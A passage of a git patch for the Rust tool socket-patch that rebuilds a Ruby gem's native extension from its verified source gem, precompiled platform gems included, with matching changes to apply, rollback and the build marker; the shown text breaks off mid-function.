From 13341feb469da8c3c90ed11c594c2130ad8040b8 Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 12:47:43 -0500 Subject: [PATCH 01/13] Rebuild a gem's native extension from its source gem, precompiled gems included An agent-mode gem patch that changes a native-extension build input now takes effect by a build of the gem's source archive: * In a native gem (its gemspec declares extensions, or its platform is not ruby) every patched file is a build input unless it clearly is not one, so nokogiri's patches/**, ports/** and dependencies.yml are inputs. * The extension is built from the ruby-platform source gem (the gem home's cache/, else a sha256-verified download from the gem's source) in a stage inside the gem home, with the record laid over it. Gems the build needs and the install lacks are staged beside it. * A gem RubyGems built gets the staged extension dir; a precompiled platform gem gets each prebuilt binary Ruby loads replaced, with the originals backed up. The marker, apply --check, vex and rollback treat both alike. Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-cli/src/commands/apply.rs | 1 + .../src/commands/gem_refresh.rs | 2 + .../socket-patch-cli/src/commands/rollback.rs | 18 +- crates/socket-patch-core/src/patch/gem_ext.rs | 2428 +++++++++++++++-- .../src/patch/gem_refresh.rs | 2 + .../socket-patch-core/src/patch/gem_source.rs | 772 ++++++ crates/socket-patch-core/src/patch/mod.rs | 1 + .../src/patch/redirect/upstream/client.rs | 2 +- .../src/patch/redirect/upstream/mod.rs | 2 +- 9 files changed, 2948 insertions(+), 280 deletions(-) create mode 100644 crates/socket-patch-core/src/patch/gem_source.rs diff --git a/crates/socket-patch-cli/src/commands/apply.rs b/crates/socket-patch-cli/src/commands/apply.rs index 197ec080e..3754e8a7c 100644 --- a/crates/socket-patch-cli/src/commands/apply.rs +++ b/crates/socket-patch-cli/src/commands/apply.rs @@ -2987,6 +2987,7 @@ async fn apply_patches_inner( &gem_ext::RubyEnv { cwd: args.common.cwd.clone(), rebuild: !args.common.no_gem_native_rebuild, + offline: args.common.offline, }, ) .await; diff --git a/crates/socket-patch-cli/src/commands/gem_refresh.rs b/crates/socket-patch-cli/src/commands/gem_refresh.rs index 598093f69..03fc059f5 100644 --- a/crates/socket-patch-cli/src/commands/gem_refresh.rs +++ b/crates/socket-patch-cli/src/commands/gem_refresh.rs @@ -121,6 +121,7 @@ impl Policy { ruby: RubyEnv { cwd: common.cwd.clone(), rebuild: !common.no_gem_native_rebuild, + offline: common.offline, }, } } @@ -778,6 +779,7 @@ mod tests { ruby: RubyEnv { cwd: root.to_path_buf(), rebuild: true, + offline: true, }, } } diff --git a/crates/socket-patch-cli/src/commands/rollback.rs b/crates/socket-patch-cli/src/commands/rollback.rs index bccb843f8..f06ecde0b 100644 --- a/crates/socket-patch-cli/src/commands/rollback.rs +++ b/crates/socket-patch-cli/src/commands/rollback.rs @@ -3622,11 +3622,20 @@ pub(crate) async fn rollback_patches_inner( match try_rollback_local_go(purl, pkg_path, patch, common).await { Some(r) => r, None => { + use socket_patch_core::patch::gem_ext; + let is_gem = Ecosystem::from_purl(purl) == Some(Ecosystem::Gem); + // A build input `apply` added to a precompiled gem copy + // that never shipped it is removed, not restored. + let gem_files = if is_gem { + Some(gem_ext::rollback_files(pkg_path, &patch.files).await) + } else { + None + }; let mut result = rollback_package_patch( common.read_scope(), purl, pkg_path, - &patch.files, + gem_files.as_ref().unwrap_or(&patch.files), &blobs_path, common.dry_run, ) @@ -3634,14 +3643,11 @@ pub(crate) async fn rollback_patches_inner( // A gem whose native extension `apply` rebuilt gets its // original compiled extension back with its sources // (#1996). - if result.success - && !common.dry_run - && Ecosystem::from_purl(purl) == Some(Ecosystem::Gem) - { - use socket_patch_core::patch::gem_ext; + if result.success && !common.dry_run && is_gem { let env = gem_ext::RubyEnv { cwd: common.cwd.clone(), rebuild: !common.no_gem_native_rebuild, + offline: common.offline, }; if let Err(e) = gem_ext::restore_original_build(pkg_path, &env).await { result.success = false; diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index 83197be84..b3acd983a 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -102,6 +102,7 @@ use crate::patch::apply::{ ApplyResult, MismatchPolicy, PatchSources, }; use crate::patch::file_hash::compute_file_git_sha256_sync; +use crate::patch::gem_source::{GemId, GemSource, RubyVersions}; use crate::utils::fs::read_regular_to_bytes_sync; /// The refusal when a native-extension patch cannot be rebuilt in place @@ -127,8 +128,18 @@ pub const BACKUP_DIR: &str = ".socket-patch-native-orig"; /// The backup's description file, inside [`BACKUP_DIR`]. const BACKUP_INFO: &str = "backup.json"; +/// The stage a rebuild from the source gem builds in, inside the gem home +/// (the same filesystem as the build it replaces, so the finished extension +/// dir is renamed into place): `/.socket-patch-build/`. +const BUILD_STAGE_DIR: &str = ".socket-patch-build"; + /// How long one Ruby probe may take. const PROBE_TIMEOUT: Duration = Duration::from_secs(60); +/// How long unpacking one source gem into the stage may take. +const UNPACK_TIMEOUT: Duration = Duration::from_secs(5 * 60); +/// How many gems one build may need staged beside it before the run gives +/// up on it (a build needs one or two: `mini_portile2`, `rb_sys`). +const MAX_STAGED_DEPENDENCIES: usize = 12; /// How long one extension build may take (nokogiri's vendored libxml2 build /// takes minutes). const BUILD_TIMEOUT: Duration = Duration::from_secs(30 * 60); @@ -146,23 +157,47 @@ const NATIVE_SOURCE_EXTENSIONS: &[&str] = &[ "c", "h", "cc", "cpp", "cxx", "hh", "hpp", "hxx", "m", "y", "rl", ]; +/// Sources a native gem compiles that are not C-family: a JRuby gem's Java, +/// a Rust extension's crate. +const NATIVE_BUILD_EXTENSIONS: &[&str] = &["java", "rs"]; + +/// Build-system manifests, which are build inputs of a native gem wherever +/// they sit (a `CMakeLists.txt` at the gem root is no document). +const NATIVE_BUILD_FILES: &[&str] = &[ + "CMakeLists.txt", + "Makefile", + "GNUmakefile", + "Cargo.toml", + "Cargo.lock", + "build.rs", +]; + +/// Top-level dirs of a gem that take no part in building its extension: +/// executables, tests and documentation. +const NOT_BUILT_DIRS: &[&str] = &[ + "bin", "exe", "test", "spec", "features", "doc", "docs", "man", +]; + /// Grammar sources a gem ships already generated (racc / ragel output is a /// `.rb` or `.c` file the gem packs): in a gem that builds no extension they /// compile nothing at install time. const GENERATED_GRAMMAR_EXTENSIONS: &[&str] = &["y", "rl"]; /// The probe/build program run by the gem's Ruby ([`RubyRun`] names its -/// two modes and their arguments). One line: `-e` with an embedded newline +/// modes and their arguments). One line: `-e` with an embedded newline /// is fragile through a Windows command line. Ruby 1.8 does not load /// RubyGems by default (and `RUBYOPT` is cleared), so it is required /// explicitly; a RubyGems older than 2.2 (no per-gem extension dir, no -/// `raw_require_paths`) is refused by name. The probe line carries an -/// `sp_` key so stray output (an `operating_system.rb`, a shim) is skipped. +/// `raw_require_paths`) is refused by name. Every line the program answers +/// with carries an `sp_` key so stray output (an `operating_system.rb`, a +/// shim) is skipped. /// -/// `extensions_dir ` evaluates nothing of the gem: it is +/// `extensions_dir []` evaluates nothing of the gem: it is /// `Gem::BasicSpecification#extensions_dir` for a spec in ``, a /// function of this Ruby's platform and ABI (and a packager's -/// `default_ext_dir_for`) alone. +/// `default_ext_dir_for`) alone. A second line names this Ruby: its +/// version, its RubyGems, the suffix of the extensions it loads, its +/// platform, and whether a gem of `` runs on it. /// /// `build ` loads the gemspec, /// which evaluates it, and builds only when it describes the layout its @@ -177,7 +212,23 @@ const GENERATED_GRAMMAR_EXTENSIONS: &[&str] = &["y", "rl"]; /// (`/build_info/`). It evaluates nothing of the project: /// the spec is the archive's own metadata and the build scripts are the /// archive's. -const RUBY_SCRIPT: &str = "require 'rubygems'; mode, a, b, c = ARGV; \ +/// +/// `unpack ` extracts a `.gem` into +/// `/gems/` and writes its gemspec beside it, as +/// the installer does, without building anything: the archive must be the +/// gem `` and declare extensions. Nothing of it is evaluated +/// (its metadata is YAML, loaded as data). +/// +/// `missing_deps ` names the runtime dependencies of the +/// staged gem, and of the gems that meet them, that no gem on `GEM_PATH` +/// meets: what its build scripts may `require` and would not find. +/// +/// `stage_build ` builds the staged gem's extensions inside the stage home, +/// with the build arguments RubyGems recorded for the installed copy. It +/// loads the gemspec `unpack` wrote and runs the archive's build scripts +/// over the staged tree. +const RUBY_SCRIPT: &str = "require 'rubygems'; mode, a, b, c, d = ARGV; \ unless Gem::Specification.respond_to?(:load) && \ Gem::Specification.method_defined?(:extension_dir) && \ Gem::Specification.method_defined?(:raw_require_paths) then \ @@ -188,6 +239,9 @@ if mode == 'extensions_dir' then \ dir = (Gem.respond_to?(:default_ext_dir_for) && Gem.default_ext_dir_for(a)) || \ File.join(a, 'extensions', Gem::Platform.local.to_s, Gem.extension_api_version); \ puts \"sp_extensions_dir\\t#{File.expand_path(dir)}\"; \ +runs = b ? (Gem::Platform.new(b) === Gem::Platform.local ? 'yes' : 'no') : ''; \ +puts \"sp_ruby\\t#{RUBY_VERSION}\\t#{Gem::VERSION}\\t#{RbConfig::CONFIG['DLEXT']}\\t\ +#{Gem::Platform.local}\\t#{runs}\"; \ elsif mode == 'install' then \ require 'rubygems/installer'; \ abort(\"RubyGems #{Gem::VERSION} is older than 2.5, whose installer cannot stage a gem\") \ @@ -200,6 +254,44 @@ inst = Gem::Installer.at(a, :install_dir => b, :ignore_dependencies => true, :wr :env_shebang => true, :document => [], :post_install_message => false, :build_args => args); \ inst.install; \ puts \"sp_installed\\t#{inst.spec.full_name}\\t#{File.expand_path(inst.spec.extension_dir)}\"; \ +elsif mode == 'unpack' then \ +require 'rubygems/package'; require 'fileutils'; \ +pkg = Gem::Package.new(a); spec = pkg.spec; \ +abort(\"the archive holds #{spec.full_name}, not #{c}\") unless spec.full_name == c; \ +abort(\"#{spec.full_name} declares no extensions to build\") if spec.extensions.empty?; \ +dir = File.join(b, 'gems', spec.full_name); FileUtils.mkdir_p(dir); \ +pkg.extract_files(dir); \ +specs = File.join(b, 'specifications'); FileUtils.mkdir_p(specs); \ +File.open(File.join(specs, \"#{spec.full_name}.gemspec\"), 'wb') { |f| f.write(spec.to_ruby_for_cache) }; \ +puts \"sp_unpacked\\t#{spec.full_name}\\t#{spec.raw_require_paths.first}\"; \ +elsif mode == 'missing_deps' then \ +spec = Gem::Specification.load(a) or abort(\"cannot load #{a}\"); \ +seen = {}; todo = [spec]; \ +until todo.empty? do \ +todo.shift.runtime_dependencies.each do |dep| \ +next if seen[dep.name]; \ +seen[dep.name] = true; \ +found = dep.matching_specs; \ +if found.empty? then \ +puts \"sp_missing\\t#{dep.name}\\t#{dep.requirement.as_list.join(',')}\"; \ +else \ +todo << found.sort_by { |s| s.version }.last; \ +end; \ +end; \ +end; \ +puts 'sp_deps_checked'; \ +elsif mode == 'stage_build' then \ +spec = Gem::Specification.load(a) or abort(\"cannot load #{a}\"); \ +unless File.expand_path(spec.base_dir) == File.expand_path(b) then \ +abort(\"#{a} is not a gem of #{b}\"); \ +end; \ +abort(\"#{a} declares no extensions\") if spec.extensions.empty?; \ +require 'rubygems/ext'; \ +Gem::DefaultUserInteraction.ui = Gem::SilentUI.new; \ +info = File.join(c, 'build_info', \"#{d}.info\"); \ +args = File.file?(info) ? File.readlines(info).map { |l| l.chomp } : []; \ +Gem::Ext::Builder.new(spec, args).build_extensions; \ +puts \"sp_built\\t#{File.expand_path(spec.extension_dir)}\"; \ else \ spec = Gem::Specification.load(a) or abort(\"cannot load #{a}\"); \ unless File.expand_path(spec.extension_dir) == File.expand_path(b) then \ @@ -307,31 +399,55 @@ fn parse_extensions(spec_text: &str) -> ExtensionDecl { } } -/// The gem's first require path (`lib`), parsed out of an installed -/// gemspec's `s.require_paths = ["lib".freeze]` (`Specification#to_ruby` -/// always writes the assignment). RubyGems installs the built extension's -/// copies under it. A spec that assigns none has RubyGems' default, `lib`; -/// an assignment whose first entry is not a string literal is `None`. -fn parse_require_path(spec_text: &str) -> Option { - for raw in spec_text.lines() { +/// The right-hand side of every `. = …` line of an +/// installed gemspec (`Specification#to_ruby` writes one assignment per +/// attribute), comments stripped. A comparison (`==`) or a longer attribute +/// name (`require_paths_extra`) is not one. +fn assignments<'t>(spec_text: &'t str, attr: &'t str) -> impl Iterator + 't { + spec_text.lines().filter_map(move |raw| { let line = raw.split('#').next().unwrap_or(""); - let Some(idx) = line.find(".require_paths") else { - continue; - }; - let after = &line[idx + ".require_paths".len()..]; + let needle = line + .match_indices(attr) + .find(|(at, _)| line[..*at].ends_with('.'))?; + let after = &line[needle.0 + attr.len()..]; if after .chars() .next() .is_some_and(|c| c.is_ascii_alphanumeric() || c == '_') { - continue; - } - let assigned = after.trim_start().strip_prefix('='); - if let Some(rhs) = assigned.filter(|r| !r.starts_with('=')) { - return string_literals(rhs).into_iter().next(); + return None; } + after + .trim_start() + .strip_prefix('=') + .filter(|rhs| !rhs.starts_with('=')) + }) +} + +/// The gem's require paths (`lib`), parsed out of an installed gemspec's +/// `s.require_paths = ["lib".freeze]` (`Specification#to_ruby` always +/// writes the assignment). RubyGems installs the built extension's copies +/// under the first. A spec that assigns none has RubyGems' default, `lib`; +/// an assignment that lists no string literal is `None`. +fn parse_require_paths(spec_text: &str) -> Option> { + match assignments(spec_text, "require_paths").next() { + Some(rhs) => Some(string_literals(rhs)).filter(|paths| !paths.is_empty()), + None => Some(vec!["lib".to_string()]), } - Some("lib".to_string()) +} + +/// The gem's first require path ([`parse_require_paths`]). +fn parse_require_path(spec_text: &str) -> Option { + parse_require_paths(spec_text).and_then(|paths| paths.into_iter().next()) +} + +/// The string an installed gemspec assigns to `attr` (`s.name = +/// "nokogiri".freeze`): `None` when it assigns none, or something that is +/// not a string literal (`s.platform = Gem::Platform::RUBY`). +fn parse_string_attr(spec_text: &str, attr: &str) -> Option { + assignments(spec_text, attr) + .next() + .and_then(|rhs| string_literals(rhs).into_iter().next()) } /// The double- and single-quoted string literals in `text`, in order. @@ -361,6 +477,65 @@ fn string_literals(text: &str) -> Vec { out } +/// What an installed gemspec's text says about the gem's compiled code. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +struct SpecFacts { + extensions: ExtensionDecl, + /// The platform of a platform gem (`arm64-darwin`, `x86_64-linux-gnu`, + /// `java`): the gem's dir name carries it after `--`, + /// and its gemspec assigns it. `None` for the `ruby` platform. + platform: Option, + /// Every require path the gemspec names (`lib`). + require_paths: Vec, + /// The release the copy was installed from, when the gemspec names it + /// and the dir name agrees: what its source archive is called. + release: Option, +} + +impl SpecFacts { + /// Read the gemspec text of the copy whose gem dir is `full_name`. + fn of(spec_text: &str, full_name: &str) -> SpecFacts { + let name = parse_string_attr(spec_text, "name"); + let version = parse_string_attr(spec_text, "version"); + // `-` is the ruby platform; `--

` is + // the platform gem `p`. + let suffix = match (&name, &version) { + (Some(name), Some(version)) => full_name + .strip_prefix(&format!("{name}-{version}")) + .filter(|rest| rest.is_empty() || rest.starts_with('-')), + _ => None, + }; + let from_dir = suffix.and_then(|rest| rest.strip_prefix('-')); + let assigned = parse_string_attr(spec_text, "platform").filter(|p| p != "ruby"); + let platform = from_dir + .map(str::to_string) + .or(assigned) + .filter(|p| !p.is_empty()); + let release = match (name, version, suffix) { + (Some(name), Some(version), Some(_)) => Some(GemId { + name, + version, + platform: from_dir.map(str::to_string), + }), + _ => None, + }; + SpecFacts { + extensions: parse_extensions(spec_text), + platform, + require_paths: parse_require_paths(spec_text).unwrap_or_default(), + release, + } + } +} + +/// Whether `platform` is JRuby's: a `java` gem ships its compiled code as +/// jars built from Java sources, which no source gem's `extconf.rb` builds. +fn is_java_platform(platform: &str) -> bool { + platform + .split('-') + .any(|part| part.eq_ignore_ascii_case("java") || part.eq_ignore_ascii_case("jruby")) +} + /// Whether a (normalized) gem file path is a native-extension build input by /// its name alone: a C/C++/Objective-C source or header, a racc/ragel /// grammar, an `extconf.rb`, or a `depend` file under `ext/`. @@ -380,33 +555,100 @@ fn is_generated_grammar(path: &str) -> bool { }) } +/// Whether a file of a native gem is a build file by its name, wherever it +/// sits: a Java or Rust source, or the manifest of a build system. +fn is_build_file_by_name(path: &str) -> bool { + let leaf = path.rsplit('/').next().unwrap_or(path); + NATIVE_BUILD_FILES.contains(&leaf) + || leaf.rsplit_once('.').is_some_and(|(stem, ext)| { + !stem.is_empty() && NATIVE_BUILD_EXTENSIONS.contains(&ext.to_ascii_lowercase().as_str()) + }) +} + +/// Whether a file of a native gem clearly takes no part in its build: a +/// file under a require path (Ruby loads it as it is), an executable, a +/// test, documentation, or the gem's own packaging files. +fn is_clearly_not_built(path: &str, require_paths: &[String]) -> bool { + let under_require_path = require_paths.iter().any(|require_path| { + let dir = require_path.trim_start_matches("./").trim_end_matches('/'); + // A gem that requires from its root says nothing about a file. + !dir.is_empty() + && dir != "." + && path + .strip_prefix(dir) + .is_some_and(|rest| rest.starts_with('/')) + }); + if under_require_path { + return true; + } + match path.split_once('/') { + Some((top, _)) => NOT_BUILT_DIRS.contains(&top), + None => { + let upper = path.to_ascii_uppercase(); + ["README", "LICENSE", "LICENCE", "CHANGELOG", "GEMFILE"] + .iter() + .any(|prefix| upper.starts_with(prefix)) + || [".MD", ".TXT", ".GEMSPEC"] + .iter() + .any(|suffix| upper.ends_with(suffix)) + } + } +} + /// A gem record's native-extension build inputs on one installed copy. #[derive(Debug, Clone, Default, PartialEq, Eq)] struct NativeScope { /// The record's keys that are build inputs, sorted. inputs: Vec, /// The installed spec declares extensions (RubyGems builds them at - /// install time). `false` with inputs left: the gem's compiled code, if - /// any, ships precompiled. + /// install time). builds_extensions: bool, + /// The platform of a precompiled platform gem: its spec declares no + /// extensions and its platform is not `ruby`, so the compiled code it + /// runs was built from the ruby-platform source gem before it was + /// packed. + precompiled: Option, + /// The release the copy was installed from ([`SpecFacts::release`]). + release: Option, +} + +impl NativeScope { + /// The archive the copy's extension is rebuilt from: its own for a gem + /// RubyGems built at install time, the ruby-platform source gem of the + /// same version for a precompiled one. + fn source_gem(&self) -> Option { + let release = self.release.clone()?; + Some(match &self.precompiled { + Some(_) => GemId { + platform: None, + ..release + }, + None => release, + }) + } } -/// Classify `files` against the extension declaration `decl`. +/// Classify `files` against what the installed gemspec says (`facts`). /// -/// In a gem that declares extensions, a key is a build input by name -/// ([`is_native_by_name`]) or by living under the dir of a declared build -/// script (a Rust extension's `.rs` sources, a `Rakefile`-built tree); a -/// script at the gem root (`extensions = ["extconf.rb"]`) makes the files -/// beside it inputs, the ones mkmf compiles, not every file of the gem. A -/// declaration whose scripts are unknown makes everything under `ext/` an -/// input. +/// A gem is native when its gemspec declares extensions or its platform is +/// not `ruby` (a precompiled platform gem). In a native gem every patched +/// file is a build input unless it clearly is not one +/// ([`is_clearly_not_built`]): `extconf.rb` builds from whatever the gem +/// packs (nokogiri's reads `patches/**`, `ports/**` and +/// `dependencies.yml`), so only a file known to take no part counts as +/// plain. A source by name ([`is_native_by_name`], [`is_build_file_by_name`]) +/// and anything under `ext/` or the dir of a declared build script is +/// always an input; a script at the gem root (`extensions = +/// ["extconf.rb"]`) makes the files beside it inputs. A grammar under a +/// require path of a precompiled gem is not one: its generated output is +/// what the gem packs and Ruby loads. /// -/// In a gem that declares none, only a name-matched source under `ext/` -/// counts: that is where a precompiled platform gem keeps the sources of -/// the binary it ships. C or Objective-C files elsewhere (a template, a -/// test fixture) compile nothing, and neither do grammar sources, whose -/// generated output the gem packs. -fn classify(decl: &ExtensionDecl, files: &HashMap) -> NativeScope { +/// In a gem that is not native (no extensions, the `ruby` platform), only a +/// name-matched source under `ext/` counts. C or Objective-C files +/// elsewhere (a template, a test fixture) compile nothing, and neither do +/// grammar sources, whose generated output the gem packs. +fn classify(facts: &SpecFacts, files: &HashMap) -> NativeScope { + let decl = &facts.extensions; // `None`: a script at the gem root. let dirs: Vec> = decl .entries @@ -423,18 +665,26 @@ fn classify(decl: &ExtensionDecl, files: &HashMap) -> Nat None => !path.contains('/'), }) }; - let unknown_scripts = decl.declared && decl.entries.is_empty(); + let precompiled = facts.platform.clone().filter(|_| !decl.declared); + let native = decl.declared || precompiled.is_some(); let mut inputs: Vec = files .keys() .filter(|key| { let path = normalize_file_path(key); - if decl.declared { - is_native_by_name(path) - || under_script_dir(path) - || (unknown_scripts && path.starts_with("ext/")) - } else { - path.starts_with("ext/") && is_native_by_name(path) && !is_generated_grammar(path) + if !native { + return path.starts_with("ext/") + && is_native_by_name(path) + && !is_generated_grammar(path); + } + let plain = is_clearly_not_built(path, &facts.require_paths); + if precompiled.is_some() && plain && is_generated_grammar(path) { + return false; } + is_native_by_name(path) + || is_build_file_by_name(path) + || under_script_dir(path) + || path.starts_with("ext/") + || !plain }) .cloned() .collect(); @@ -442,6 +692,8 @@ fn classify(decl: &ExtensionDecl, files: &HashMap) -> Nat NativeScope { inputs, builds_extensions: decl.declared, + precompiled, + release: facts.release.clone(), } } @@ -459,11 +711,11 @@ async fn scope_of( .ok(), None => None, }; - let decl = spec_text - .as_deref() - .map(parse_extensions) - .unwrap_or_default(); - let scope = classify(&decl, files); + let facts = match (©, &spec_text) { + (Some(copy), Some(text)) => SpecFacts::of(text, ©.full_name), + _ => SpecFacts::default(), + }; + let scope = classify(&facts, files); // Without a readable spec nothing proves which scripts the gem builds; // name-matched inputs still count, and the copy is unusable for a build. (scope, copy.filter(|_| spec_text.is_some())) @@ -478,15 +730,27 @@ pub struct BuildMarker { pub sources: BTreeMap, /// The extension dir built into, relative to the gem home: /// `extensions///` (see [`confined_ext_dir`]). + /// Empty for a grafted build. pub extension_dir: String, /// Artifact path relative to the extension dir → git-sha256. pub ext_artifacts: BTreeMap, /// The artifacts' copies RubyGems put under the gem's require dir: - /// path relative to the gem dir → git-sha256. + /// path relative to the gem dir → git-sha256. For a grafted build, the + /// prebuilt binaries the build replaced. pub lib_artifacts: BTreeMap, + /// The copy is a precompiled platform gem, and `lib_artifacts` are its + /// prebuilt binaries replaced by a build of the source gem (schema + /// [`GRAFT_MARKER_SCHEMA`]). + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub grafted: bool, } +/// The marker of an extension dir RubyGems' builder filled. const MARKER_SCHEMA: u32 = 1; +/// The marker of a precompiled copy whose prebuilt binaries were replaced +/// ([`BuildMarker::grafted`]). A release that only knows schema 1 reads it +/// as no marker, and so attests nothing it does not understand. +const GRAFT_MARKER_SCHEMA: u32 = 2; /// The extension dir a marker or backup names, only when it is /// `extensions///` under the copy's home: those @@ -510,12 +774,20 @@ fn read_marker_sync(gem_dir: &Path) -> Option { let text = crate::utils::fs::read_regular_to_string_sync(&gem_dir.join(MARKER_FILE)).ok()?; serde_json::from_str::(&text) .ok() - .filter(|m| m.schema == MARKER_SCHEMA) + .filter(|m| match m.schema { + MARKER_SCHEMA => !m.grafted, + GRAFT_MARKER_SCHEMA => m.grafted, + _ => false, + }) } /// Whether `marker` was built from exactly the record's patched native /// inputs, and every artifact it recorded is still on disk with the bytes it /// was built with. An artifact path that escapes its dir never verifies. +/// +/// A marker speaks for the kind of copy it was written for: one of an +/// extension dir for a gem that builds its extensions, a grafted one for a +/// precompiled gem, which must name at least one replaced binary. fn marker_holds( marker: &BuildMarker, copy: &GemCopy, @@ -528,28 +800,43 @@ fn marker_holds( if !sources_match || marker.sources.len() != scope.inputs.len() { return false; } - let Some(ext_dir) = confined_ext_dir(copy, &marker.extension_dir) else { - return false; - }; let artifact_ok = |base: &Path, rel: &str, hash: &str| { is_safe_relative_subpath(rel) && compute_file_git_sha256_sync(&base.join(rel)).is_ok_and(|h| h == hash) }; + let lib_ok = || { + marker + .lib_artifacts + .iter() + .all(|(rel, hash)| artifact_ok(©.gem_dir, rel, hash)) + }; + if marker.grafted { + return scope.precompiled.is_some() + && !scope.builds_extensions + && marker.ext_artifacts.is_empty() + && !marker.lib_artifacts.is_empty() + && lib_ok(); + } + if !scope.builds_extensions { + return false; + } + let Some(ext_dir) = confined_ext_dir(copy, &marker.extension_dir) else { + return false; + }; marker .ext_artifacts .iter() .all(|(rel, hash)| artifact_ok(&ext_dir, rel, hash)) - && marker - .lib_artifacts - .iter() - .all(|(rel, hash)| artifact_ok(©.gem_dir, rel, hash)) + && lib_ok() } /// `vex` / `apply --check`: the installed gem copy at `pkg_path`, whose /// record files already verify, runs code built from them. A record with no /// native input on this copy passes; one with native inputs passes only when -/// the copy's build marker holds ([`BuildMarker`]). Errors carry -/// [`NOT_REBUILT_REASON`]. +/// the copy's build marker holds ([`BuildMarker`]): for a gem RubyGems built +/// at install time, the marker of its rebuilt extension dir; for a +/// precompiled platform gem, the marker of the prebuilt binaries replaced +/// by a build of the source gem. Errors carry [`NOT_REBUILT_REASON`]. pub async fn verify_native_build( pkg_path: &Path, files: &HashMap, @@ -558,7 +845,7 @@ pub async fn verify_native_build( if scope.inputs.is_empty() { return Ok(()); } - let Some(copy) = copy.filter(|_| scope.builds_extensions) else { + let Some(copy) = copy else { return Err(NOT_REBUILT_REASON.to_string()); }; let files = files.clone(); @@ -591,6 +878,9 @@ pub struct RubyEnv { /// caller compiles them itself, so patched sources are written without /// a build, as before #1996, with a [`NOT_REBUILT_REASON`] warning. pub rebuild: bool, + /// `--offline`: a source gem that is not in the gem home's `cache/` is + /// not downloaded, and neither is a gem its build needs. + pub offline: bool, } /// The Ruby that builds a gem copy's extension, and where the build lands. @@ -605,6 +895,42 @@ struct Probe { require_path: String, /// `gem_dir` / `require_path`: where RubyGems copies the artifacts. lib_dir: PathBuf, + /// What `ruby` said of itself, when it did. + facts: Option, +} + +/// What a Ruby says of itself in a [`RubyRun::ExtensionsDir`] run. +#[derive(Debug, Clone, PartialEq, Eq)] +struct RubyFacts { + /// `RUBY_VERSION` (`3.4.10`). + ruby_version: String, + /// `Gem::VERSION`. + rubygems_version: String, + /// The suffix of the extensions it loads (`so`, `bundle`). + dlext: String, + /// `Gem::Platform.local` (`arm64-darwin-25`). + platform: String, + /// Whether a gem of the platform the run named runs on it; `None` when + /// the run named none. + runs_platform: Option, +} + +impl RubyFacts { + /// `RUBY_VERSION[/\d+\.\d+/]`: the dir a precompiled gem keeps the + /// binary for this Ruby in (`3.4`). + fn minor(&self) -> Option { + let mut parts = self.ruby_version.split('.'); + let (major, minor) = (parts.next()?, parts.next()?); + let numeric = |part: &str| !part.is_empty() && part.bytes().all(|b| b.is_ascii_digit()); + (numeric(major) && numeric(minor)).then(|| format!("{major}.{minor}")) + } + + fn versions(&self) -> RubyVersions { + RubyVersions { + ruby: Some(self.ruby_version.clone()), + rubygems: Some(self.rubygems_version.clone()), + } + } } /// The `sp_extensions_dir` line of a [`RubyRun::ExtensionsDir`] run. @@ -615,6 +941,28 @@ fn parse_extensions_dir(stdout: &str) -> Option { }) } +/// The `sp_ruby` line of a [`RubyRun::ExtensionsDir`] run. +fn parse_ruby_facts(stdout: &str) -> Option { + stdout.lines().find_map(|line| { + let mut fields = line.split('\t'); + (fields.next()? == "sp_ruby").then_some(())?; + let (ruby_version, rubygems_version) = (fields.next()?, fields.next()?); + let (dlext, platform) = (fields.next()?, fields.next()?); + let runs_platform = match fields.next() { + Some("yes") => Some(true), + Some("no") => Some(false), + _ => None, + }; + (!ruby_version.is_empty() && !dlext.is_empty()).then(|| RubyFacts { + ruby_version: ruby_version.to_string(), + rubygems_version: rubygems_version.to_string(), + dlext: dlext.to_string(), + platform: platform.to_string(), + runs_platform, + }) + }) +} + /// The Rubies that may own `copy`, best first: the one installed beside a /// `/lib/ruby/gems/` home (rbenv, asdf, rvm, a system Ruby), /// then the `ruby` on `PATH`. A prefix inside the project (`project`) is @@ -649,11 +997,13 @@ fn ruby_candidates(copy: &GemCopy, project: &Path) -> Vec { out } -/// The `GEM_PATH` a build runs with: the copy's home first (an `extconf.rb` -/// requiring `mini_portile2` or `rb_sys` finds the copy installed beside -/// it), then the caller's, then RubyGems' defaults (the trailing separator). -fn gem_path_for(home: &Path) -> Option { - let mut paths = vec![home.to_path_buf()]; +/// The `GEM_PATH` a build runs with: `homes` first (the copy's own, so an +/// `extconf.rb` requiring `mini_portile2` or `rb_sys` finds the copy +/// installed beside it; before it, a stage home holding the gems the build +/// needs and the install lacks), then the caller's, then RubyGems' +/// defaults (the trailing separator). +fn gem_path_for(homes: &[&Path]) -> Option { + let mut paths: Vec = homes.iter().map(|home| home.to_path_buf()).collect(); if let Some(existing) = std::env::var_os("GEM_PATH") { paths.extend(std::env::split_paths(&existing).filter(|p| !p.as_os_str().is_empty())); } @@ -664,9 +1014,10 @@ fn gem_path_for(home: &Path) -> Option { /// What a run of [`RUBY_SCRIPT`] is for. enum RubyRun<'a> { - /// Ask where this Ruby builds extensions for the copy's gem home. Loads - /// RubyGems and nothing of the gem. - ExtensionsDir, + /// Ask where this Ruby builds extensions for the copy's gem home, and + /// what it is. Loads RubyGems and nothing of the gem. With `platform` + /// it also says whether a gem of that platform runs on it. + ExtensionsDir { platform: Option<&'a str> }, /// Build the copy's extensions into `probe.extension_dir`: loads the /// installed gemspec and runs the gem's build scripts. Build(&'a Probe), @@ -676,6 +1027,25 @@ enum RubyRun<'a> { archive: &'a Path, stage_home: &'a Path, }, + /// Extract the `.gem` at `archive`, which must be the gem `full_name` + /// and declare extensions, into `stage_home`. Runs nothing of it. + Unpack { + archive: &'a Path, + stage_home: &'a Path, + full_name: &'a str, + }, + /// Name the gems the staged gem at `spec` depends on that neither the + /// stage home nor the copy's home (nor the caller's `GEM_PATH`) holds. + MissingDeps { + spec: &'a Path, + stage_home: &'a Path, + }, + /// Build the extensions of the staged gem at `spec` inside + /// `stage_home`: runs the staged tree's build scripts. + StageBuild { + spec: &'a Path, + stage_home: &'a Path, + }, } /// Run the Ruby program for `run` on `copy`, bounded by `budget` through @@ -693,8 +1063,11 @@ async fn run_ruby( let mut command = command_for(ruby); command.arg("-e").arg(RUBY_SCRIPT).current_dir(&env.cwd); let mode = match run { - RubyRun::ExtensionsDir => { + 